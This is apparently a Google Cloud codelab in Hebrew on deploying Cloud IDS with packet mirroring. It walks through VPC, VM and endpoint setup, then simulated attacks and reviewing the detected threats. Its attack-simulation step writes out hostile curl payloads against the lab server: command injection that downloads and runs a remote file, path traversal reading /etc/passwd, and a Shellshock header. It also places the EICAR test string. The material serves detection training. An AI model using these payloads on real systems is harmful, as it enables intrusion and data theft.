1. מבוא
בשיעור ה-Lab הזה תפרסו את Cloud IDS, שירות מתקדם לגילוי חדירות מהדור הבא, שמספק גילוי איומים של פריצות, תוכנות זדוניות, תוכנות ריגול ומתקפות להשגת שליטה. תדמו מספר מתקפות ותראו את פרטי האיום ב-Cloud Console.
מה תלמדו
- איך יוצרים נקודות קצה של Cloud IDS
- איך יוצרים 2 מכונות וירטואליות באמצעות פקודות gcloud
- איך יוצרים מדיניות רפליקציה של חבילות נתונים
- איך מדמים תנועת תקיפה ממכונה וירטואלית
- איך צופים בפרטי האיומים ב-Cloud Console וב-Cloud Logging
מה תצטרכו
- ידע בפקודות בסיסיות של Linux
2. תרחישים לדוגמה לשימוש ב-Cloud IDS
Cloud IDS הוא שירות מקורי של Google Cloud לגילוי חדירות (IDS) מהדור הבא, שמאפשר ללקוחות לעמוד בדרישות מתקדמות לזיהוי איומים ולעמוד בתקנים כמו PCI 11.4. השירות מבוסס על טכנולוגיות הגנת האיומים של Palo Alto Networks, ומספק גילוי חדירות מתקדם. שילוב של התשתית ברמה עולמית של Google Cloud עם אבטחה ברמה עולמית של Palo Alto Networks מספק ללקוחות שילוב ייחודי של שירות מנוהל מלא, ביצועים גבוהים ויעילות אבטחה גבוהה ביותר לזיהוי איומים מתקדמים.
הדבר החשוב ביותר ללקוחות שעוברים לענן הוא האבטחה. הם רוצים אמצעי אבטחה דומים לאלה שקיימים בשרתים המקומיים, כמו שירות לזיהוי פריצות (IDS) בענן. הם מעדיפים מאוד להשתמש בפתרון IDS מנוהל שמותאם לענן, כדי להקל על הפריסה, לשפר את הביצועים ולצמצם את העלויות בהשוואה לפריסת פתרון אבטחה של צד שלישי ולניהול התשתית או להוספת חתימות משלהם. Google Cloud IDS הוא שירות מנוהל של מערכת לגילוי חדירות (IDS) עם התאמה אוטומטית לעומס, מקצה לקצה, שמאפשר ללקוחות להקדיש את הזמן שלהם לניתוח איומים ולצמצום הסיכונים, ולא לבזבז זמן ומשאבים על ניהול התשתית או חתימות של איומים.
Cloud IDS נפרס מחוץ לפס, והוא יכול לזהות איומים ולהתריע עליהם, אבל הוא לא יכול לחסום אותם. הוא משתמש ברפליקציה של חבילות הנתונים ב-Google Cloud כדי ליצור עותק של תעבורת הנתונים ברשת, שנבדק באמצעות מנוע זיהוי האיומים של Palo Alto Network.
3. טופולוגיית Codelab

איור 1. סקירה כללית של ארכיטקטורת הפריסה של Cloud IDS בשיעור ה-Lab הזה.
4. הגדרה ודרישות
הגדרת סביבה בקצב אישי
- נכנסים ל-מסוף Google Cloud ויוצרים פרויקט חדש או משתמשים בפרויקט קיים. אם עדיין אין לכם חשבון Gmail או Google Workspace, אתם צריכים ליצור חשבון.



- שם הפרויקט הוא השם המוצג של הפרויקט הזה למשתתפים. זו מחרוזת של תווים שלא נמצאת בשימוש ב-Google APIs, ואפשר לעדכן אותה בכל שלב.
- מזהה הפרויקט חייב להיות ייחודי בכל הפרויקטים ב-Google Cloud, והוא קבוע (אי אפשר לשנות אותו אחרי שמגדירים אותו). מסוף Cloud יוצר באופן אוטומטי מחרוזת ייחודית. בדרך כלל לא צריך להתייחס אליה. ברוב סדנאות ה-Codelab, צריך להפנות למזהה הפרויקט (ובדרך כלל הוא מזוהה כ-
PROJECT_ID), אז אם לא מוצא חן בעיניכם, אפשר ליצור מזהה אקראי אחר, או לנסות מזהה משלכם ולבדוק אם הוא זמין. אחרי שהפרויקט נוצר, הוא 'קפוא'. - יש ערך שלישי, מספר פרויקט, שחלק מממשקי ה-API משתמשים בו. במאמרי העזרה מפורט מידע נוסף על שלושת הערכים האלה.
- בשלב הבא, תצטרכו להפעיל את החיוב במסוף Cloud כדי להשתמש במשאבי Cloud או בממשקי API. העלות של התרגול הזה לא אמורה להיות גבוהה, ואולי אפילו לא תצטרכו לשלם בכלל. כדי לכבות את המשאבים ולא לחייב אתכם מעבר למה שמוסבר במדריך הזה, צריך לפעול לפי ההוראות לניקוי שמופיעות בסוף ה-Codelab. משתמשים חדשים ב-Google Cloud זכאים לתוכנית תקופת ניסיון בחינם בשווי 300$.
מפעילים את Cloud Shell
אפשר להפעיל את Google Cloud מרחוק מהמחשב הנייד, אבל ב-codelab הזה תשתמשו ב-Google Cloud Shell, סביבת שורת פקודה שפועלת בענן.
ב-GCP Console, לוחצים על סמל Cloud Shell בסרגל הכלים שבפינה הימנית העליונה:

יחלפו כמה רגעים עד שההקצאה והחיבור לסביבת העבודה יושלמו. בסיום התהליך, אמור להופיע משהו כזה:

המכונה הווירטואלית הזו כוללת את כל הכלים שדרושים למפתחים. יש בה ספריית בית בנפח מתמיד של 5GB והיא פועלת ב-Google Cloud, מה שמשפר מאוד את הביצועים והאימות ברשת. אפשר לבצע את כל העבודה ב-Lab הזה רק באמצעות דפדפן.
5. לפני שמתחילים
הפעלת ממשקי ה-API
ב-Cloud Shell, מוודאים שמזהה הפרויקט מוגדר
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
הפעלת כל השירותים הנדרשים
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. יצירת רשת VPC
רשת VPC
מ-Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
Subnet
מ-Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
גישה לשירות פרטי
מ-Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connection
מ-Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
Firewall Rules
כדי לאפשר ל-IAP להתחבר למכונות הווירטואליות, צריך ליצור כלל חומת אש ש:
- רלוונטי לכל מכונות ה-VM שרוצים לגשת אליהן באמצעות IAP.
- מאפשר תנועה נכנסת מטווח כתובות ה-IP 35.235.240.0/20. הטווח הזה מכיל את כל כתובות ה-IP שמשמשות את IAP להעברת TCP.
מ-Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
כדי לאפשר יציאת HTTP רגילה (TCP 80) ופרוטוקול ICMP לשרת:
- רלוונטי למשאבים עם תג הרשת server
- מאפשר תעבורה נכנסת מכל המקורות
מ-Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
יצירת מופע Cloud NAT
Cloud Router
מ-Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
מ-Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. יצירת נקודת קצה של Cloud IDS
בקטע הזה, יוצרים נקודת קצה של Cloud IDS באזור us-east1, עם רמת חומרה שמוגדרת כמידע. יצירת נקודת הקצה של IDS נמשכת כ-20 דקות.
נקודת קצה של IDS
מ-Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
איך מוודאים שנקודת הקצה של Cloud IDS הופעלה
gcloud ids endpoints list --project=$PROJECT_ID
פלט –
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. יצירת 2 מכונות וירטואליות
בקטע הזה, יוצרים 2 מכונות וירטואליות. הראשון יהיה שרת האינטרנט שלכם שמשוכפל ל-Cloud IDS. המכונה הווירטואלית השנייה תהיה מקור תנועת התקפות.
מכונה וירטואלית 1 (שרת)
מ-Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
Virtual Machine 2 (Client)
מ-Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. הכנת השרת
במשימה הזו תאמתו את השרת ותספקו מטען ייעודי (payload) של תוכנות זדוניות לא מזיקות עבור הלקוח.
התחברות למכונה הווירטואלית באמצעות SSH דרך Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
אישור ששירות האינטרנט פועל
sudo systemctl status nginx
פלט – אימות שהאפליקציה פעילה ופועלת
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
שינוי ספרייה לשירות אינטרנט
cd /var/www/html/
יצירת קובץ תוכנה זדונית לא מזיקה בשרת האינטרנט
sudo touch eicar.file
הדבקת התוכן
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
חזרה ל-Cloud Shell
exit
איך יוצרים מדיניות רפליקציה של חבילות נתונים ב-Cloud IDS
מזהים את כלל העברת התנועה של נקודת הקצה של IDS ומוודאים שהמצב של נקודת הקצה של IDS הוא READY (מוכן).
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
פלט לדוגמה – מעתיקים את הערך מ-endpointForwardingRule
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
שומרים את כלל ההעברה של נקודת הקצה של IDS במשתנה.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
מדיניות רפליקציה של חבילות נתונים
מ-Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
אימות של יצירת מדיניות הרפליקציה של חבילות נתונים
מ-Cloud Shell
gcloud compute packet-mirrorings list
פלט
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. הדמיה של תנועת נתונים של מתקפה
התחברות באמצעות SSH למכונה הווירטואלית של התוקף (לקוח)
מ-Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
מריצים את בקשות ה-curl הבאות כדי לדמות תנועה זדונית.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
יוצאים מהמכונה הווירטואלית כדי לחזור אל CloudShell
exit
11. בדיקת איומים שזוהו על ידי Cloud IDS
ניווט אל לוח הבקרה של Cloud IDS
תפריט הניווט > אבטחת רשת > Cloud IDS

עוברים לכרטיסייה Threats (איומים).

כפי שאפשר לראות, Cloud IDS תיעד פרופילים שונים של תעבורת נתונים של מתקפות וסיפק את הפרטים על כל איום. אם לא מופיעות איומים, יכול להיות שתצטרכו ללחוץ על הלחצן 'רענון'. עכשיו נתעמק קצת יותר ונציג את פרטי האיום.
מאתרים את האיום 'Bash Remote Code Execution Vulnerability' (פגיעות ב-Bash שמאפשרת הפעלת קוד מרחוק), לוחצים על סמל האפשרויות הנוספות (3 נקודות) משמאל ובוחרים באפשרות 'הצגת פרטי האיום'.


עכשיו נציג את פרטי האירוע הזה ב-Cloud Logging. כדי לחזור לדף 'איומים', לוחצים על החץ שמאלה .
לוחצים על סמל האפשרויות הנוספות (3 נקודות) בצד שמאל ובוחרים באפשרות 'הצגת יומני איומים'.


אותם פרטים מועברים אל Cloud Logging. כך תוכלו לשלוח את היומנים ל-Cloud Storage, ל-Chronicle או לכל מערכת SIEM/SOAR. אפשר גם ליצור תהליכי עבודה בהתאמה אישית כדי לבצע פעולות לתיקון בעיות על סמך התראות. לדוגמה, אפשר ליצור פונקציה של Cloud Functions שמופעלת כשמתקבלת התראה, וליצור או לעדכן כלל חומת אש כדי לחסום את כתובת ה-IP, או ליצור או לעדכן מדיניות של Cloud Armor.
12. שלבי הניקוי
יציאה ממופע ב-VM (כל הכרטיסיות)
exit
מחיקת רכיבי מעבדה ממסוף Cloud Shell יחיד
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. מעולה!
כל הכבוד, סיימתם את ה-Codelab.
מה נכלל
- תרחישים לדוגמה לשימוש ב-Cloud IDS
- דרישות רשת
- ממשקי API נתמכים
- יצירת נקודת קצה של Cloud IDS
- פריסה של 2 מכונות וירטואליות
- נוצרה תנועה של 'מתקפה' מהלקוח
- איומים מאומתים זוהו על ידי IDS
- בדיקת פרטי האיומים ויומנים